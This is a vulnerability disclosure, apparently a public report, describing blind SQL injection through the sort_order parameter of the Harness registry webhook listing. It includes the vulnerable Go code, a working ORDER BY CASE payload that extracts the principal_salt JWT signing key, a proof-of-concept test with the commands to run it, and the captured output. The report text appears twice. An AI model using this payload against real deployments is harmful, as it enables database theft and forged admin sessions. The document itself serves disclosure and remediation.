It seems you are ignoring security reports, But anyway I think this is important.
Summary
A blind SQL injection in the registry webhook listing lets any user with registry view permission extract arbitrary database contents one boolean per request, including principals.principal_salt, which is the HMAC key material for session JWTs.
Details
The controller passes the raw sort_order query parameter to the DAO with no normalization. registry/app/api/controller/metadata/list_webhooks.go:80-91:
sortByOrder := ""
if r.Params.SortOrder != nil {
sortByOrder = string(*r.Params.SortOrder) // raw query-string bytes
}
...
webhooks, err := c.WebhooksRepository.ListByRegistry(
ctx, sortByField, sortByOrder, limit, offset, searchTerm, regInfo.RegistryID)
Sink in registry/app/store/database/webhook.go:224-229:
validSortFields := map[string]string{"name": "registry_webhook_name"}
validSortByField := validSortFields[sortByField]
if validSortByField != "" {
query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder)) // order NOT validated
}
The sort field is allowlisted but the order is not. SortOrder is generated by oapi-codegen as a plain type SortOrder string with no runtime enum validation, so any bytes survive. Every sibling controller normalizes with GetSortByOrder() (metadata/utils.go:220, coerces to ASC/DESC); this is the one call path that skips it. upstream_proxy.go:338 interpolates the same pair, so the caller-side fix alone leaves a second risky path.
PostgreSQL evaluates expressions inside ORDER BY, so a CASE expression flipping the row order (or erroring) on a condition leaks one bit per request; classic blind extraction of principal_salt, which app/auth/authn/jwt.go uses to sign session tokens. Recovering a salt allows forging a valid JWT for any principal, including admins.
PoC
In-package test capturing the exact SQL statement the DAO sends for the attacker's request GET /registry/{ref}/webhooks?sort_field=name&sort_order=<payload>:
git clone https://github.com/harness/harness && cd harness
cat > registry/app/store/database/poc_sqli_test.go <<'EOF'
package database
import (
"context"
"database/sql"
"database/sql/driver"
"errors"
"strings"
"testing"
"github.com/jmoiron/sqlx"
)
type recordDriver struct{ lastQuery string }
func (d *recordDriver) Open(string) (driver.Conn, error) { return &recordConn{d: d}, nil }
type recordConn struct{ d *recordDriver }
func (c *recordConn) Prepare(q string) (driver.Stmt, error) {
c.d.lastQuery = q
return nil, errors.New("captured")
}
func (c *recordConn) Close() error { return nil }
func (c *recordConn) Begin() (driver.Tx, error) { return nil, errors.New("no tx") }
func TestPocSQLi(t *testing.T) {
rec := &recordDriver{}
sql.Register("recorder-poc", rec)
sdb, err := sql.Open("recorder-poc", "unused")
if err != nil {
t.Fatal(err)
}
repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres"))
payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a')" +
" THEN registry_webhook_name ELSE registry_webhook_id END)"
_, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1)
sent := rec.lastQuery
for _, needle := range []string{"SELECT CASE WHEN", "principal_salt", "registry_webhook_id END"} {
if !strings.Contains(sent, needle) {
t.Fatalf("payload fragment %q missing from SQL sent to the database:\n%s", needle, sent)
}
}
t.Logf("SQL SENT TO DATABASE:\n%s", sent)
}
EOF
go test ./registry/app/store/database/ -run TestPocSQLi -v
Output (verified), payload verbatim inside ORDER BY:
... FROM registry_webhooks WHERE registry_webhook_registry_id = $1 ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a') THEN registry_webhook_name ELSE registry_webhook_id END) LIMIT 10 OFFSET 0
The $1 binding shows everything else is parameterized; only the ORDER BY fragment is raw.
Impact
CWE-89 blind SQL injection, authenticated (PermissionRegistryView on any registry). Confirmed extraction primitive of any database value; realistic target is principal_salt (JWT HMAC keys) leading to session forgery for any user including admins. Squirrel/lib/pq parameterization blocks stacked queries, so this is read-side exfiltration, not writes.
CVSS: 9.3 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
CWE IDs: CWE-89, CWE-200
Internal Tracking ID: KF-202648560
It seems you are ignoring security reports, But anyway I think this is important.
Summary
A blind SQL injection in the registry webhook listing lets any user with registry view permission extract arbitrary database contents one boolean per request, including
principals.principal_salt, which is the HMAC key material for session JWTs.Details
The controller passes the raw
sort_orderquery parameter to the DAO with no normalization.registry/app/api/controller/metadata/list_webhooks.go:80-91:Sink in
registry/app/store/database/webhook.go:224-229:The sort field is allowlisted but the order is not.
SortOrderis generated by oapi-codegen as a plaintype SortOrder stringwith no runtime enum validation, so any bytes survive. Every sibling controller normalizes withGetSortByOrder()(metadata/utils.go:220, coerces to ASC/DESC); this is the one call path that skips it.upstream_proxy.go:338interpolates the same pair, so the caller-side fix alone leaves a second risky path.PostgreSQL evaluates expressions inside
ORDER BY, so a CASE expression flipping the row order (or erroring) on a condition leaks one bit per request; classic blind extraction ofprincipal_salt, whichapp/auth/authn/jwt.gouses to sign session tokens. Recovering a salt allows forging a valid JWT for any principal, including admins.PoC
In-package test capturing the exact SQL statement the DAO sends for the attacker's request
GET /registry/{ref}/webhooks?sort_field=name&sort_order=<payload>:Output (verified), payload verbatim inside ORDER BY:
The
$1binding shows everything else is parameterized; only the ORDER BY fragment is raw.Impact
CWE-89 blind SQL injection, authenticated (PermissionRegistryView on any registry). Confirmed extraction primitive of any database value; realistic target is
principal_salt(JWT HMAC keys) leading to session forgery for any user including admins. Squirrel/lib/pq parameterization blocks stacked queries, so this is read-side exfiltration, not writes.CVSS: 9.3 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
CWE IDs: CWE-89, CWE-200
Internal Tracking ID: KF-202648560